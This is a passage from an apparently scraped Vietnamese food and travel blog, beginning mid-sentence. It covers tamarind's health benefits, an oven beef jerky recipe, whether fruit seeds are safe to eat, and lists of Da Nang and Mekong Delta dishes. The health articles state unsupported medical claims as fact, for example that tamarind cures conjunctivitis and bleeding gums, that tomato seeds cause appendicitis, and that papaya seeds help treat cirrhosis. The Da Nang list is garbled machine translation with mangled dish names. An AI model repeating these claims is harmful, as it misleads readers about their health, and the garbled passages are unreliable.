dẫn. Công dụng Tại các nước Đông Nam Á, me là loại cây được trồng khá phổ biến không chỉ bởi nó tạo bóng mát trên các con đường mà quả me còn có rất nhiều lợi ích đối với sức khỏe người sử dụng. Các chuyên gia dinh dưỡng chỉ ra rằng trong cùi thịt trong quả me có nhiều vitamin C và B, và chứa khoảng 14% axit tartaric và một nhỏ lượng axit malic… giúp kích thích vị giác, cải thiện tình trạng kém ăn, mệt mỏi do nắng nóng hay buồn nôn, giảm khẩu vị do mang thai. Quả me góp phần bù nước, điện giải, cung cấp vitamin, khoáng chất, vị chua mặn giúp giải nhiệt. Trong 100mg có chứa hàm lượng cao các vitamin B, B2, A và C cùng các chất khác như canxi, sắt, photpho và chất béo rất tốt cho sức khỏe. Quả me có tác dụng trị bệnh viêm kết mạc. Hạ sốt Trong hạt me có chứa chất polysaccharide – một chất kết dính cho phép bám vào các bề mặt của mắt, giúp bảo vệ mắt lâu dài nên nhiều nơi người ta điều chế thuốc nhỏ mắt từ hạt me để điều trị hội chứng khô mắt. Trái me trong các bài thuốc dân gian có tác dụng giảm sốt và bảo vệ cơ thể chống lại cảm lạnh. Đối với trường hợp cảm lạnh, bạn có thể thực hiện điều này bằng cách lấy một ít thịt me pha với một lít nước sôi và uống trong vòng một giờ, hoặc có thể cho thêm ít mật ong để nước me dễ uống hơn nhằm giảm nhiệt độ cơ thể, giúp cơ thể hạ sốt trong thời gian ngắn. Bài thuốc chữa sốt do nắng nóng 15g quả me xanh đã nạo vỏ, đem đun khoảng 1 bát nước, khi sôi dầm nát quả me, sau đó bỏ vỏ và hạt, chắt lấy nước, khi uống pha thêm mật ong. Bài thuốc này, giúp cơ thể hạ nhiệt nhanh chóng, người bệnh cảm thấy thèm ăn. Tác dụng nhuận tràng Nước me là phương thuốc hữu hiệu giúp cải thiện tình trạng nhuận tràng nhẹ, lớp vỏ bao quanh hạt me có tác dụng chữa bệnh lỵ và bệnh tiêu chảy. Đối với một số người, me còn được dùng để điều trị rối loạn chức năng mật, giảm mức cholesterol trong cơ thể và góp phần thúc đẩy tim hoạt động khỏe mạnh hơn. Quả me là một trong những loại quả có hàm lượng chất xơ cao nhất, chiếm 20% thịt quả trong hầu hết các loại trái cây hiện nay. Chất xơ trong quả me có tác dụng điều hòa nhu động ruột và được coi như một loại thuốc giúp ngăn ngừa táo bón, nhuận tràng vừa hiệu quả mà không gây tác dụng phụ cho cơ thể người sử dụng. Ngoài ra, quả me còn có tác dụng giúp kiểm soát huyết áp bởi hàm lượng kali cao có trong thịt quả có tác dụng cân bằng huyết áp và ngăn ngừa tình trạng lượng natri hoạt động trong cơ thể tăng cao làm huyết áp tăng. Chữa viêm họng Ngoài ra, nước me còn có tác dụng hiệu quả trong việc chữa bệnh viêm họng, thường xuyên súc miệng nước me sẽ giúp tiêu đờm và tình trạng viêm họng được giảm thiểu. Hoặc có thể ngậm ô mai me cũng là một cách trị ho hiệu quả. Cách làm ô mai me vô cùng đơn giản. Qủa me xanh được đem cạo vỏ, rửa sạch rồi giã nát với gừng tươi cho thật nhuyễn và loại bỏ xơ trong quả. Sau đó ướp đường cho vị ngọt vừa khẩu vị và bắc lên bếp đun nhỏ lửa cho đến khi hỗn hợp keo lại thì nhấc xuống và cho thêm bột cam thảo để ô mai trở nên khô ráo, dễ ăn hơn. Sau đó vê thành từng viên bỏ vào lọ hoặc bọc giấy bóng kính và để ở nơi khô ráo, thoáng mát. Ô mai me vừa có tác dụng trị ho lại vừa lại là món ăn vặt thú vị dành cho các bạn gái. Đối với những người hay bị chảy máu chân răng, việc uống nước me chín hàng ngày vào buổi sáng sau bữa ăn liên tục trong 7 ngày là giải pháp hữu hiệu trị dứt điểm triệu chứng này. Thêm vào đó, nước me có tác dụng giải nhiệt rất tốt, nhất là trong những ngày oi bức của mùa hè thì một cốc me đá được coi là cứu cánh cho cơ thể và giúp cân bằng các chất, đảm bảo quá trình trao đổi chất diễn ra bình thường. Cung cấp vitamin, dinh dưỡng Là nguồn vitamin dồi dào, quả me có tác dụng cung cấp năng lượng cho cơ thể khi rơi vào tình trạng mệt mỏi và giúp cơ thể gia tăng sức đề kháng và hệ miễn dịch hoạt động tốt hơn. Như đã phân tích trên, quả me có chứa sắt nên đối với phụ nữ sau sinh hay những người thiếu sắt, thường xuyên ăn me cũng là một cách bổ sung lượng sắt tự nhiên an toàn hơn là dùng viên sắt dễ gây nóng trong cơ thể. Đối với xương khớp, me cũng đóng vai trò rất tốt trong việc giúp hệ xương khớp phát triển, bởi trong me có chứa hàm lượng canxi khá cao. Hiện tượng tê ở bắp chân, chuột rút, đau mỏi hay kim châm ở lòng bàn chân do thiếu thiamin – một loại vitaminB có vai trò quan trọng trong các hoạt động của dây thần kinh và cơ bắp. Nếu không có chất dinh dưỡng này, các màng bọc myelin của các dây thần kinh có thể bị tổn thương, gây ra những cảm giác đau đớn, cảm giác gai, châm chích ở lòng bàn chân cũng được đẩy lùi nếu người bệnh thường xuyên sử dụng me.  Qủa me có rất nhiều công dụng tốt cho sức khỏe mà không phải ai cũng biết. Tuy nhiên vì là loại quả có tính chua nên mọi người không nên ăn me lúc đói để tránh tình trạng cồn ruột hay loét dạ dày trong điều kiện sử dụng lâu dài. Bài viết hi vọng những thông tin về ích lợi của quả me sẽ giúp người đọc có thêm kiến thức về việc chăm sóc bản thân bằng các nguyên liệu thân thuộc xung quanh mình! Đọc thêm: Ẩm thực, Du lịch.  
Filed in: Ẩm thực
0
Hướng dẫn cách làm bò khô bằng lò nướng nhanh chóng, đơn giản

Hướng dẫn cách làm bò khô bằng lò nướng nhanh chóng, đơn giản

Thịt bò khô không chỉ là món nhậu được cánh mày râu ưa chuộng mà còn là món ăn vặt khoái khẩu của các chị em phụ nữ. Nếu như lo sợ mua ngoài không đảm bảo thì sao bạn không học cách làm bò khô bằng lò nướng để đảm bảo an toàn? Xem thêm: Mẹo phối đồ với chân váy da hoàn hảo Điểm qua các kiểu đầm ngắn dự tiệc nổi bật nhất Mẹo phối quần baggy với giày cao gót cho nàng công sở Nguyên liệu cần chuẩn bị Thịt bò tươi: 500g, sả: 5 cây, tỏi khô: 2 củ, gừng tươi: 1 nhánh, bột ngũ vị hương: 1 gói, ớt tươi: 2 trái hoặc dùng ớt bột thay thế, đường cát trắng: 3 thìa cà phê, nước mắm ngon: 2 – 3 thìa canh, dầu hào: 4 thìa cà phê, muối trắng: 1 thìa cà phê, hạt tiêu xay: 1 thìa cà phê. Bạn cũng có thể làm nhiều hay ít tùy thích chỉ cần điều chỉnh gia vị tương ứng với lượng thịt bò là được. Cách làm bò khô bằng lò nướng Sau khi chuẩn bị đầy đủ nguyên liệu bạn hãy áp dụng cách làm bò khô bằng lò nướng với các bước đơn giản sau đây ngay nhé! Bước 1: Sơ chế nguyên liệu Thịt bò đem rửa sạch, để ráo sau đó thái miếng mỏng to bản. Lưu ý là thái dọc thớ để có thể xé sợi. Tỏi bóc vỏ, rửa sạch, đập dập, băm nhỏ. Gừng cũng cạo vỏ, rửa sạch, băm nhỏ. Đối với sả bạn bóc vỏ ngoài, rửa sạch cắt phần lá già và băm nhỏ. Sau đó trộn tỏi băm, gừng băn, sả và ớt bột/ ớt băm nhỏ với nhau. Bước 2: Ướp thịt bò Một bước quan trong trong cách làm bò khô bằng lò nướng là bước ướp thịt bò. Thịt bò sau khi thái miếng bạn cho vào một chiếc bát lớn rồi trộn với hỗn hợp gia vị: tỏi – ớt – sả – gừng, ngũ vị hương, hạt tiêu, dầu hào, muối, đường. Bạn nên đeo găng tay ướp thịt để thịt thấm gia vị đều hơn. Để thịt thơm, mềm và thấm gia vị dễ hơn thì sau khi ướp bạn để thịt vào ngăn mát tủ lạnh khoảng 4-6 tiếng. Bước 3: làm chín thịt Bước tiếp theo trong cách làm bò khô bằng lò nướng là làm chín thịt bò đã ướp. Trước khi làm chín bạn nên để thịt hết lạnh từ từ chứ không nên rã đông với lò vi sóng. Bước làm này như sau: Bắc chảo lên bếp đun nóng thfi cho thịt bò vào, đun với lửa nhỏ để cho nước trong thịt ra bớt sau đó hạ lửa xuống, chỉ để lửa liu riu đến khi thịt khô lại. Bạn nên cho phần nước ướp vào cùng để thịt đậm đà hơn và cũng lưu ý lật thịt để các miếng thịt cạn nước và khô đều. Bước 4: Sấy khô thịt bò Trước khi sấy khô bạn dùng chày hoặc cố giã vào từng miếng thịt sao cho chúng mềm và có thể dùng tay xé được. Sau đó bạn bật lò nướng trước 10 phút, tiếp theo xếp thịt vào khay và làm khô bằng lò nướng ở nhiệt độ 100 độ C trong vòng khoảng 1 giờ. Bạn cũng nên nhớ khoảng 10 phút thì đảo thịt 1 lần để cho thịt bò khô đều mà không bị cháy. Ngoài cách làm bò khô bằng lò nướng nhanh chóng và đơn giản như trên thì bạn cũng có thể áp dụng tương tự với lò vi sóng hay bằng chảo đều được. Chúc bạn thành công với công thức này.
0
Nên hay không nên ăn cả hạt của các loại quả

Nên hay không nên ăn cả hạt của các loại quả

Hoa quả rất tốt đối với sức khỏe và thông thường ta thường sẽ bỏ hạt hoặc ăn cả hạt của một số loại quả. Trên thực tế có những loại hạt trong quả nên sử dụng và cũng có loại không nên sử dụng. Vậy hãy tìm hiểu nên hay không nên ăn hạt của các loại quả với bài viết dưới đây nhé! Các loại quả mà hạt có thể không tốt với sức khỏe Loại quả đầu tiên được đề cập đến ở đây chính là dưa chuột/ dưa leo. Dưa chuột có chứa nhiều hạt nhưng hạt của chúng rất mềm, có thể ăn được nên mọi người thường sử dụng cả và không quan tâm lắm nó có tốt hay không. Thực tế, lõi và hạt dưa chuột chứa thành phần lợi tiểu. Ăn ít không gây hại nhưng nếu ăn nhiều sẽ gây mất nước cho cơ thể hoặc nếu không được nhai kyc thì hạt dưa chuột còn khiến bạn khó tiêu, đầy bụng. Hạt cà chua: Khi chế biến cà chua, hầu hết mọi người thường sử dụng toàn bộ quả cà chua từ vỏ đến lõi, hạt, chỉ trừ phần cuống. Nhưng theo các chuyên gia thì hạt cà chua không chứa nhiều dinh dưỡng mà còn gây hại cho dạ dày và ruột. Bởi khi vào dạ dày thì hạt cà chua rất khó để tiêu hóa, đồng thời rất dễ bám vào thành dạ dày. Trong quá trình vận chuyển thức ăn, nếu chẳng may hạt cà chua lọt vào ruột thừa sẽ dễ dẫn tới viêm ruột thừa. Hạt ổi: Với hạt ổi nếu bạn không nhai kỹ thì hạt ổi cứng rơi xuống vào dạ dày sẽ không tiêu hóa được nên dễ gây đau dạ dày hoặc táo bón. Các loại quả mà hạt tốt với sức khỏe Hạt đu đủ: Bạn sẽ luôn bỏ hạt đu đủ đi vì nghĩ rằng chúng không ăn được và cũng chẳng có lợi ích gì nhưng ý nghĩ đó là sai lầm. Theo nghiên cứu, hạt đu đủ có chứa nhiều dược tính. Ngoài ra, nó còn có tác dụng như diệt giun trong ruột và tham gia hỗ trợ điều trị một số bệnh như gai cột sống, xơ gan… Nhưng sử dụng hạt đu đủ như thế nào thì bạn cần có lời khuyên của bác sĩ vì dùng không đúng cách không những không có tác dụng mà còn bị độc. Hạt mít có tác dụng tiêu hóa rất tốt. Ngoài ra, hàm lượng protein trong hạt mít cùng với lượng vitamin dồi dào sẽ giúp bạn nuôi dưỡng làn da từ bên trong. Cấu trúc da săn chắc, mịn màng nhờ lượng dinh dưỡng được bổ sung. Hạt lựu, hạt bơ và hạt dưa hấu cũng rất tốt đối với cơ thể, chúng có tác dụng trong làm đẹp, tăng cường hệ miễn dịch,ngăn ngừa và phòng chống ung thư,… Chắc hẳn bài viết này đã cung cấp cho bạn thêm thông tin hữu ích về các hạt trong các loại quả để bạn biết nên hay không nên sử dụng chúng rồi đúng không?
0
Những món ngon ở Đà Nẵng

Những món ngon ở Đà Nẵng

1. Bánh tráng cuốn thịt heo Bánh tráng cuốn thịt heo hoặc thịt lợn thái lát cuộn bằng giấy gạo là một trong những đặc sản của Đà Nẵng. Nó là một sự kết hợp của các thành phần tươi như thịt lợn bụng, rau tươi, lát dưa chuột và chuối xanh. Tất cả mọi thứ được bọc trong giấy gạo mềm và ăn với nước chấm. Món này nổi tiếng vì các thành phần được lựa chọn cẩn thận, làm cho hương vị hoàn hảo. 2. Mỳ Quảng Một chuyến đi đến Đà Nẵng không hoàn chỉnh mà không ăn Mỹ Quang, một đặc sản của người dân Đà Nẵng. Phở Quang Quang hay mì Quảng được làm từ bột gạo và cắt thành miếng dài. Nước dùng có thể làm từ thịt gà, tôm, cua, cá, thịt lợn hoặc thịt bò. Vì vậy bạn có thể đặt hàng nhiều phiên bản của Mỹ Quang. Mi Quang được phục vụ với vôi, ớt xanh và bánh gạo, làm tăng hương vị của nó. 3. Hải sản Đà Nẵng nằm ngay trên bờ biển Nam Hải, có nghĩa là các đặc sản hải sản chủ yếu trong ẩm thực Việt Nam. Du lịch đến Đà Nẵng cho phép bạn thưởng thức các món hải sản tươi sống hấp dẫn nhất như: Thịt nướng với nước sốt và đậu phộng ngon, Ngao, Cá mực xào sốt nước mắm, Tôm và Thịt nướng xốt sốt ngọt, xào, nướng tôm cá, cua trong nước sốt nâu xám 4. Bún Chả Cá Mì là một trong những món ăn đặc trưng của ẩm thực Đà Nẵng. Bánh cá nướng làm từ nhiều loại cá tươi bao gồm lizardfish, barracuda và cá thu. Nước canh được nấu với nhiều loại rau như bí đỏ, bắp cải, dứa, cà chua và măng khô, làm cho nó rất ngon và lành mạnh. Sự pha trộn tuyệt vời của các hương vị khác nhau thực sự cho một hương vị ngon 5. Bánh Xèo Bánh xèo hay bánh Việt Nam là một món ăn rất phổ biến ở Đà Nẵng. Nó được làm từ bột gạo, nước, bột nghệ, nhồi với thịt lợn mỡ, tôm, hành lá xanh, và giá đỗ. Tại Đà Nẵng, nó thường được gói bằng giấy gạo tươi với xúc xích và sau đó nhúng vào nước sốt đặc biệt. Đó là thức ăn tuyệt vời cho một buổi chiều mát mẻ hoặc mưa! 6. Bún mắm Súp mì này là món ăn ưa thích của người dân địa phương. Bún mắm được làm bằng bún, thịt heo, heo nướng, rau quả, đu đủ chưa chín, đậu phộng, và tất nhiên là nước mắm cá cơm. Sự bùng nổ hương vị trong vòm miệng khi nhấm nháp món canh là để chết cho. Như tên cho thấy, sự tinh tế của món ăn này phụ thuộc phần lớn vào nước mắm cá cơm.
Filed in: Ẩm thực
0
Những món ăn dân dã nổi tiếng nhất ở Miền Tây

Những món ăn dân dã nổi tiếng nhất ở Miền Tây

Miền Tây là một vùng đất nông thôn xinh đẹp, thơ mộng, ngoài những địa danh du lịch nổi tiếng, thú vị thì những món ăn dân dã ngon, nổi tiếng tại đây cũng thu hút đông đảo sự quan tâm, chú ý của khách du lịch phương xa. Và chủ đề hôm nay mà du lịch Việt Vui muốn chia sẻ cho bạn đọc tham khảo là những món ăn dân dã nổi tiếng nhất ở miền Tây. Hãy đón đọc và thêm ý kiến cho bài viết thêm đầy đủ và ý nghĩa nhất các bạn nhé. 1. Món cá tai tượng chiên xù Đây là món ăn ngon, nổi tiếng nhất miền Tây. Cá tai tượng thường được bắt dưới ao và đem lên làm sạch ruột (không làm vảy mà để lại chiên luôn) rồi đem chiên với dầu. Sau khi cá đã vàng thì lấy ra. Món này ăn cùng rau sống, bánh tráng thì ngon phải biết. Để thưởng thức món cá tai tượng chiên xù này, các bạn hãy đến 1 số khu du lịch sinh thái miền Tây. Tại đây các bạn vừa được tham gia trò tát mương bắt cá, vừa được thưởng thức ẩm thực miền Tây – cá tai tượng chiên xù thơm ngon, hấp dẫn. Món cá tai tượng chiên xù ngon, đặc sản nổi tiếng ở miền Tây 2. Món chuột đồng nướng Món ăn này đặc biệt được dân nhậu rất yêu thích. Chuột tại đây thường là chuột ruộng hay chuột dừa bởi thịt chúng khá ngon, ngọt và an toàn vô cùng. Chuột đồng thường được ăn kèm với rau sống, chấm muối tiêu chanh thì ngon và hấp dẫn vô cùng. chuột đồng là món ăn dân dã, nổi tiếng nên thử khi đến du lịch miền Tây sông nước 3. Lẩu mắm cá linh bông điên điển Nhắc đến miền Tây là nhắc đến cá, nhiều loại cá tại đây khá ngon và được chế biến thành khá nhiều món ăn đặc sản. Và lẩu mắm cá linh bông điên điển là một trong những món ăn dân dã, món đặc sản nổi tiếng nhất miền Tây cho các bạn thưởng thức. Lẩu mắm cá linh bông điên điển nếu ăn vào mùa mưa, khí trời lạnh giá thì ngon và đặc biệt vô cùng. Món lẩu mắm cá linh bông điên điển ngon ở miền Tây 4. Cá lóc nướng trui Nếu về miền Tây mà không ghé lại thưởng thức đặc sản cá lóc nướng thì coi như uổng phí cả 1 chuyến đi. Cá lóc bắt dưới ruộng còn tươi, sau khi làm sạch vảy cũng như ruột bên trong thì đem nướng trui dưới rơm khô. Mùi vị cá nướng thơm ngon vô cùng. Món cá lóc nướng trui ngon, nổi tiếng ở miền Tây Du lịch miền Tây nên thưởng thức những món ăn đặc sản nổi tiếng nào? Trên đây là top 4 món ăn đặc sản dân dã nổi tiếng ở miền Tây mà Minh Thiện muốn chia sẻ cho bạn đọc tham khảo. Hi vọng với những chia sẻ này, các bạn sẽ có được những giây phút thưởng thức đặc sản miền tây ngon lành, hấp dẫn nhất.
Filed in: Ẩm thực
0
© 2018 Du Lịch Sài Gòn – Việt Nam. All rights reserved.
Proudly designed by SHM.